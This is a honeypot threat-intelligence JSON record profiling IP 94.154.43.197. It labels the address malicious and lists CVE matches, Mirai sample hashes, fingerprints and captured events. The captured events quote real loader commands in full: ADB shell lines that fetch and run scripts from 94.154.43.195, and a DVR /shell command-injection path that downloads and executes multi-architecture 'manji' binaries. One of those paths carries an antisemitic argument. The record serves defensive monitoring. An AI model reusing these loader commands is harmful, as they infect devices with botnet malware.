{"ip":"94.154.43.197","data_as_of":"2026-10-26T22:47:23+00:00","observed":true,"total_events":71,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"5 loader / command-injection payload(s)","confidence":"high","network_type":null,"why":["5 request(s) carried a loader or command-injection payload (wget, curl, tftp, busybox, chmod or a known bot name).","The same evidence places an address in the public exploiter feed.","One request that fetches a botnet binary is exploitation on its own, whatever the event count.","Not in any known-scanner range.","Sent 16,468 bytes, which is sustained payload delivery.","Held a session open for 60s, against a median of well under a second.","Counts include 4 interactive session(s) as well as first-packet events.","Interactive sessions: 2 interactive session(s) ran commands after logging in."],"engagement":{"level":"payload","label":"Sustained payload, held open","detail":"16,468 bytes sent, longest session 60s","bytes_sent":16468,"session_seconds":60,"persistent":true},"basis":"combined"},"first_seen":"2026-07-24T14:02:31","last_seen":"2026-10-26T20:55:17","events_24h":7,"events_7d":9,"interactive_sessions":4,"interactive_sessions_24h":2,"interactive_sessions_7d":4,"interactive_protocols":[{"protocol":"adb","sessions":2},{"protocol":"http","sessions":2}],"geo":{"country_code":"NL","country_name":"The Netherlands","region":"North Holland","city":"Amsterdam","lat":52.3716,"lon":4.8883,"asn":219502,"org":"Storm Industries LLC"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[{"cve_id":"CVE-2022-24816","title":"GeoServer <1.2.2 - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/geoserver/wms","kev_date_added":"2024-06-26"},{"cve_id":"CVE-2016-20016","title":"MVPower DVR JAWS web server /shell unauthenticated command execution","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/shell?{{*}};","kev_date_added":null},{"cve_id":"CVE-2025-2129","title":"Mage AI - Insecure Default Authentication Setup","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/kernels","kev_date_added":null}],"malware":[{"sha256":"bd591e02e9d19c71c322fe489ebbcbc49e80b65851aaa1fea46722b1300dc6c5","family":"mirai","vt_name":"w.sh","malicious":19,"total":75,"vt_status":"uploaded","delivery":"interactive session","url_path":"","dest_port":5555,"hits":4,"last_seen":"2026-10-25 22:40:16"},{"sha256":"521a6a40c9fd2befc6ef796588bf3b4d8f3d3252e7e32d57b31c083225c514c6","family":"mirai","vt_name":"c.sh","malicious":19,"total":75,"vt_status":"uploaded","delivery":"interactive session","url_path":"","dest_port":5555,"hits":4,"last_seen":"2026-10-25 22:40:16"}],"udp":null,"interaction":{"window_days":90,"sessions":4,"first_seen":"2026-10-25T04:46:38","last_seen":"2026-10-26T20:55:17","verdicts":[{"verdict":"scan","sessions":2},{"verdict":"post-exploitation","sessions":2}],"personas":[{"persona":"adb@Android 7.1 TV box","sessions":1},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, fortigate@7.0.5, gitlab@19.4.2, plex@1.43.2.10687","sessions":1},{"persona":"adb@Android 9 TV box","sessions":1},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, dlink-dir645@1.01, fortigate@7.0.5, gitlab@19.4.2","sessions":1}],"services":[{"protocol":"adb","port":5555,"sessions":2},{"protocol":"http","port":60001,"sessions":1},{"protocol":"http","port":8080,"sessions":1}],"logins":[],"commands":[],"downloads":[{"url":"[http]://94[.]154[.]43[.]195/wget.sh","host":"94[.]154[.]43[.]195","sessions":2,"first_seen":"2026-10-25T22:40:16","last_seen":"2026-10-25T23:44:15","virustotal":null},{"url":"[http]://94[.]154[.]43[.]195/w.sh","host":"94[.]154[.]43[.]195","sessions":2,"first_seen":"2026-10-25T22:40:16","last_seen":"2026-10-25T23:44:15","virustotal":{"sha256":"bd591e02e9d19c71c322fe489ebbcbc49e80b65851aaa1fea46722b1300dc6c5","status":"uploaded","malicious":19,"total":75,"name":"w.sh"}},{"url":"[http]://94[.]154[.]43[.]195/c.sh","host":"94[.]154[.]43[.]195","sessions":2,"first_seen":"2026-10-25T22:40:16","last_seen":"2026-10-25T23:44:15","virustotal":{"sha256":"521a6a40c9fd2befc6ef796588bf3b4d8f3d3252e7e32d57b31c083225c514c6","status":"uploaded","malicious":19,"total":75,"name":"c.sh"}}],"files":[{"sha256":"d817a2d4ea713c537dd300af0628171af346c9f6ae4d0ad27c7ed544644a9643","name":"shell-1","size":313,"mime_type":"text/plain","kind":"adb-command","times":2,"first_seen":"2026-10-25T22:39:45","last_seen":"2026-10-25T23:43:45","virustotal":null}],"attack":[{"technique_id":"T1595","technique_name":"Active Scanning","tactic_id":"TA0043","tactic_name":"Reconnaissance","sessions":2},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":2}]},"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":20,"sessions":0},{"port":8084,"proto":"tcp","label":"","count":10,"sessions":0},{"port":8089,"proto":"tcp","label":"Splunk","count":10,"sessions":0},{"port":9000,"proto":"tcp","label":"Web-alt","count":10,"sessions":0},{"port":8088,"proto":"tcp","label":"Hadoop","count":10,"sessions":0},{"port":5555,"proto":"tcp","label":"","count":5,"sessions":2},{"port":60001,"proto":"tcp","label":"","count":4,"sessions":1},{"port":6001,"proto":"tcp","label":"","count":2,"sessions":0},{"port":8080,"proto":"tcp","label":"HTTP-alt","count":0,"sessions":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13i4311h1_c7886603b240_b26ce05bbdd6"],"tls_client_hello":"","tls_ja3":["f80d3d09f61892c5846c854dd84ac403"],"http_akin":["b11cun030_00040410_e62b6d85","b11cun070_0014001f_85240426","b11cun050_00040017_976354f0"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"t13i4311h1_c7886603b240_b26ce05bbdd6":23,"b11cun050_00040017_976354f0":1242,"b11cun030_00040410_e62b6d85":19,"b11cun070_0014001f_85240426":9},"akin_families":{"b11cun070_0014001f_85240426":{"head":"b11cun070_0014001f_85240426","shapes":2,"ips":9},"b11cun050_00040017_976354f0":{"head":"b11cun050_00040017_976354f0","shapes":2,"ips":1242}},"user_agents":["Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36","KrebsOnSecurity","Mozilla/5.0","Go-http-client/1.1"],"timeline":[{"date":"2026-08-21","count":10,"sessions":0},{"date":"2026-08-23","count":30,"sessions":0},{"date":"2026-08-25","count":20,"sessions":0},{"date":"2026-10-25","count":5,"sessions":3},{"date":"2026-10-26","count":4,"sessions":1}],"recent_events":[{"timestamp":"2026-10-26T20:54:17","port":60001,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"host\":\"<HONEYPOT>:60001\",\"referer\":\"http://<HONEYPOT>:60001/\",\"user-agent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"474554202f20485454502f312e310d0a486f73743a203c484f4e4559504f543e3a36303030310d0a557365722d4167656e743a204d6f7a696c6c612f352e3020285831313b204c696e7578207838365f363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3132362e302e302e30205361666172692f3533372e33360d0a526566657265723a20687474703a2f2f3c484f4e4559504f543e3a36303030312f0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36","ja3":"","session":"1c67be05-1709-4d01-b838-50e8ffd3ddc2-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-26T18:52:04","port":60001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"host\":\"<HONEYPOT>:60001\",\"referer\":\"http://<HONEYPOT>:60001/\",\"user-agent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"474554202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a36303030310d0a557365722d4167656e743a204d6f7a696c6c612f352e3020285831313b204c696e7578207838365f363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3132362e302e302e30205361666172692f3533372e33360d0a526566657265723a20687474703a2f2f<HONEYPOT>3a36303030312f0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36","ja3":"","session":"c744f96c-152f-42f3-b0b3-3e0e21e95acf","seq":1,"duration_ms":100,"bytes_in":198,"bytes_out":78},{"timestamp":"2026-10-26T18:48:40","port":60001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"host\":\"<HONEYPOT>:60001\",\"referer\":\"http://<HONEYPOT>:60001/\",\"user-agent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"474554202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a36303030310d0a557365722d4167656e743a204d6f7a696c6c612f352e3020285831313b204c696e7578207838365f363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3132362e302e302e30205361666172692f3533372e33360d0a526566657265723a20687474703a2f2f<HONEYPOT>3a36303030312f0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36","ja3":"","session":"5100ffe9-bea2-4459-b9cb-297df49c69ab","seq":1,"duration_ms":101,"bytes_in":196,"bytes_out":78},{"timestamp":"2026-10-26T17:13:47","port":60001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"host\":\"<HONEYPOT>:60001\",\"referer\":\"http://<HONEYPOT>:60001/\",\"user-agent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"474554202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a36303030310d0a557365722d4167656e743a204d6f7a696c6c612f352e3020285831313b204c696e7578207838365f363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3132362e302e302e30205361666172692f3533372e33360d0a526566657265723a20687474703a2f2f<HONEYPOT>3a36303030312f0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36","ja3":"","session":"36c75d59-bbc2-431c-aa94-a328b39971a5","seq":1,"duration_ms":100,"bytes_in":200,"bytes_out":78},{"timestamp":"2026-10-26T07:12:20","port":60001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"host\":\"<HONEYPOT>:60001\",\"referer\":\"http://<HONEYPOT>:60001/\",\"user-agent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"474554202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a36303030310d0a557365722d4167656e743a204d6f7a696c6c612f352e3020285831313b204c696e7578207838365f363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3132362e302e302e30205361666172692f3533372e33360d0a526566657265723a20687474703a2f2f<HONEYPOT>3a36303030312f0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36","ja3":"","session":"20c24e59-a3b9-4396-ba7d-c7cfd06deea6","seq":1,"duration_ms":100,"bytes_in":198,"bytes_out":78},{"timestamp":"2026-10-25T23:45:19","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000@\u0001\u0000\u0000(b\u0000\u0000����shell:cd /data/local/tmp/; busybox wget http://94.154.43.195/w.sh; sh w.sh; curl http://94.154.43.195/c.sh; sh c.sh; wget http://94.154.43.195/wget.sh; sh wget.sh; curl http://94.154.43.195/wget.sh; sh wget.sh; busybox wget http://94.154.43.195/wget.sh; sh wget.sh; busybox curl http://94.154.43.195/wget.sh; sh wget.sh\u0000","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f76324f50454e58010000000000004001000028620000b0afbab17368656c6c3a6364202f646174612f6c6f63616c2f746d702f3b2062757379626f78207767657420687474703a2f2f39342e3135342e34332e3139352f772e73683b20736820772e73683b206375726c20687474703a2f2f39342e3135342e34332e3139352f632e73683b20736820632e73683b207767657420687474703a2f2f39342e3135342e34332e3139352f776765742e73683b20736820776765742e73683b206375726c20687474703a2f2f39342e3135342e34332e3139352f776765742e73683b20736820776765742e73683b2062757379626f78207767657420687474703a2f2f39342e3135342e34332e3139352f776765742e73683b20736820776765742e73683b2062757379626f78206375726c20687474703a2f2f39342e3135342e34332e3139352f776765742e73683b20736820776765742e736800","method":"","user_agent":"","ja3":"","session":"2e094968-1216-4abf-8293-e8cc4e11c78c","seq":1,"duration_ms":101,"bytes_in":395,"bytes_out":13,"enriched":{"digest":"1f3d2fd0c172bb41","strings":["CNXN","host::features=cmd,shell_v2OPENX","shell:cd /data/local/tmp/; busybox wget http://94.154.43.195/w.sh; sh w.sh; curl…"],"iocs":{"urls":["http://94.154.43.195/w.sh;"],"ips":["94.154.43.195"],"domains":["w.sh"],"paths":["/data/local/tmp","/94.154.43.195/w.sh"]}}},{"timestamp":"2026-10-25T23:43:45","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000@\u0001\u0000\u0000(b\u0000\u0000����shell:cd /data/local/tmp/; busybox wget http://94.154.43.195/w.sh; sh w.sh; curl http://94.154.43.195/c.sh; sh c.sh; wget http://94.154.43.195/wget.sh; sh wget.sh; curl http://94.154.43.195/wget.sh; sh wget.sh; busybox wget http://94.154.43.195/wget.sh; sh wget.sh; busybox curl http://94.154.43.195/wget.sh; sh wget.sh\u0000","payload_hex":"4f50454e58010000000000004001000028620000b0afbab17368656c6c3a6364202f646174612f6c6f63616c2f746d702f3b2062757379626f78207767657420687474703a2f2f39342e3135342e34332e3139352f772e73683b20736820772e73683b206375726c20687474703a2f2f39342e3135342e34332e3139352f632e73683b20736820632e73683b207767657420687474703a2f2f39342e3135342e34332e3139352f776765742e73683b20736820776765742e73683b206375726c20687474703a2f2f39342e3135342e34332e3139352f776765742e73683b20736820776765742e73683b2062757379626f78207767657420687474703a2f2f39342e3135342e34332e3139352f776765742e73683b20736820776765742e73683b2062757379626f78206375726c20687474703a2f2f39342e3135342e34332e3139352f776765742e73683b20736820776765742e736800","method":"","user_agent":"","ja3":"","session":"20883d5f-2b24-4c7b-a383-2ee264c8669f-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"2097d3eef5eff8b0","strings":["OPENX","shell:cd /data/local/tmp/; busybox wget http://94.154.43.195/w.sh; sh w.sh; curl…"],"iocs":{"urls":["http://94.154.43.195/w.sh;"],"ips":["94.154.43.195"],"domains":["w.sh"],"paths":["/data/local/tmp","/94.154.43.195/w.sh"]}},"interactive":true},{"timestamp":"2026-10-25T23:43:45","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f7632","method":"","user_agent":"","ja3":"","session":"20883d5f-2b24-4c7b-a383-2ee264c8669f-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"9cb45602096504b5","strings":["CNXN","host::features=cmd,shell_v2"]},"interactive":true},{"timestamp":"2026-10-25T22:52:42","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000@\u0001\u0000\u0000(b\u0000\u0000����shell:cd /data/local/tmp/; busybox wget http://94.154.43.195/w.sh; sh w.sh; curl http://94.154.43.195/c.sh; sh c.sh; wget http://94.154.43.195/wget.sh; sh wget.sh; curl http://94.154.43.195/wget.sh; sh wget.sh; busybox wget http://94.154.43.195/wget.sh; sh wget.sh; busybox curl http://94.154.43.195/wget.sh; sh wget.sh\u0000","payload_hex":"4f50454e58010000000000004001000028620000b0afbab17368656c6c3a6364202f646174612f6c6f63616c2f746d702f3b2062757379626f78207767657420687474703a2f2f39342e3135342e34332e3139352f772e73683b20736820772e73683b206375726c20687474703a2f2f39342e3135342e34332e3139352f632e73683b20736820632e73683b207767657420687474703a2f2f39342e3135342e34332e3139352f776765742e73683b20736820776765742e73683b206375726c20687474703a2f2f39342e3135342e34332e3139352f776765742e73683b20736820776765742e73683b2062757379626f78207767657420687474703a2f2f39342e3135342e34332e3139352f776765742e73683b20736820776765742e73683b2062757379626f78206375726c20687474703a2f2f39342e3135342e34332e3139352f776765742e73683b20736820776765742e736800","method":"","user_agent":"","ja3":"","session":"8c170931-fea6-4e7f-aead-a8478f9bceb1","seq":2,"duration_ms":204,"bytes_in":395,"bytes_out":26,"enriched":{"digest":"2097d3eef5eff8b0","strings":["OPENX","shell:cd /data/local/tmp/; busybox wget http://94.154.43.195/w.sh; sh w.sh; curl…"],"iocs":{"urls":["http://94.154.43.195/w.sh;"],"ips":["94.154.43.195"],"domains":["w.sh"],"paths":["/data/local/tmp","/94.154.43.195/w.sh"]}}},{"timestamp":"2026-10-25T22:52:42","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f7632","method":"","user_agent":"","ja3":"","session":"8c170931-fea6-4e7f-aead-a8478f9bceb1","seq":1,"duration_ms":100,"bytes_in":51,"bytes_out":13,"enriched":{"digest":"9cb45602096504b5","strings":["CNXN","host::features=cmd,shell_v2"]}}],"http_methods":[{"method":"GET","count":68}],"distinct_ports_total":9,"top_paths":[{"path":"/geoserver/web/","count":6,"ports":5},{"path":"/api/kernels","count":6,"ports":5},{"path":"/api/terminals","count":6,"ports":5},{"path":"/geoserver/wcs?service=WCS&request=GetCapabilities","count":6,"ports":5},{"path":"/geoserver/rest/about/version.json","count":6,"ports":5},{"path":"/geoserver/ows?service=WFS&version=2.0.0&request=GetCapabilities","count":6,"ports":5},{"path":"/geoserver/wfs?service=wfs&version=2.0.0&request=GetCapabilities","count":6,"ports":5},{"path":"/geoserver/wms?service=WMS&version=1.1.1&request=GetCapabilities","count":6,"ports":5},{"path":"/geoserver/ogc/features/v1/collections","count":6,"ports":5},{"path":"/geoserver/rest/workspaces.json","count":6,"ports":5},{"path":"/","count":5,"ports":1},{"path":"/shell?cd+/tmp;wget+http:/\\/94.154.43.197/manji.arm4;chmod+777+manji.arm4;./manji.arm4+jews;wget+http:/\\/94.154.43.197/manji.arm5;chmod+777+manji.arm5;./manji.arm5+jews;wget+http:/\\/94.154.43.197/manji.arm6;chmod+777+manji.arm6;./manji.arm6+jews;wget+http:/\\/94.154.43.197/manji.arm7;chmod+777+manji.arm7;./manji.arm7+jews;wget+http:/\\/94.154.43.197/manji.i486;chmod+777+manji.i486;./manji.i486+jews;wget+http:/\\/94.154.43.197/manji.i686;chmod+777+manji.i686;./manji.i686+jews;wget+http:/\\/94.154.43.197/manji.m68k;chmod+777+manji.m68k;./manji.m68k+jews;wget+http:/\\/94.154.43.197/manji.mips;chmod+777+manji.mips;./manji.mips+jews;wget+http:/\\/94.154.43.197/manji.mpsl;chmod+777+manji.mpsl;./manji.mpsl+jews;wget+http:/\\/94.154.43.197/manji.ppc;chmod+777+manji.ppc;./manji.ppc+jews;wget+http:/\\/94.154.43.197/manji.ppc440;chmod+777+manji.ppc440;./manji.ppc440+jews;wget+http:/\\/94.154.43.197/manji.sh4;chmod+777+manji.sh4;./manji.sh4+jews;wget+http:/\\/94.154.43.197/manji.spc;chmod+777+manji.spc;./manji.spc+jews;wget+http:/\\/94.154.43.197/manji.x86;chmod+777+manji.x86;./manji.x86+jews;rm+-rf+manji.*","count":2,"ports":1},{"path":"/login","count":1,"ports":1}],"distinct_paths_total":13,"top_snis":[],"top_hosts":[],"top_alpns":[{"value":"http/1.1","count":10}],"banners":[],"credentials":[],"header_profile":{"signature":["Host","Referer","User-Agent"],"representative":[{"name":"Host","value":"<HONEYPOT>:60001","notable":false},{"name":"Referer","value":"http://<HONEYPOT>:60001/","notable":true},{"name":"User-Agent","value":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36","notable":false}],"distinct_sets":1,"events_with_headers":5},"tags":[{"tag_id":"CVE-2016-20016","tag_type":"cve","title":"MVPower DVR JAWS web server /shell unauthenticated command execution","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/shell?{{*}};","reference_urls":["https://nvd.nist.gov/vuln/detail/CVE-2016-20016","https://www.pentestpartners.com/security-blog/pwning-cctv-cameras/","https://www.exploit-db.com/exploits/41471","https://blog.netlab.360.com/iot_reaper-a-rappid-spreading-new-iot-botnet-en/"],"kev_date_added":null},{"tag_id":"CVE-2022-24816","tag_type":"cve","title":"GeoServer <1.2.2 - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/geoserver/wms","reference_urls":["https://www.synacktiv.com/en/publications/exploiting-cve-2022-24816-a-code-injection-in-the-jt-jiffle-extension-of-geoserver.html","https://github.com/geosolutions-it/jai-ext/security/advisories/GHSA-v92f-jx6p-73rx","https://github.com/geosolutions-it/jai-ext/commit/cb1d6565d38954676b0a366da4f965fef38da1cb","https://nvd.nist.gov/vuln/detail/CVE-2022-24816","https://github.com/tanjiti/sec_profile"],"kev_date_added":"2024-06-26"},{"tag_id":"CVE-2025-2129","tag_type":"cve","title":"Mage AI - Insecure Default Authentication Setup","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/kernels","reference_urls":["https://nvd.nist.gov/vuln/detail/CVE-2025-2129","https://github.com/zn9988/publications/blob/main/2.Mage-AI%20-%20Insecure%20Default%20Authentication%20Setup%20Leading%20to%20Zero-Click%20RCE/README.md","https://vuldb.com/?ctiid.299049","https://vuldb.com/?id.299049","https://vuldb.com/?submit.510690"],"kev_date_added":null},{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":2},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":2}]}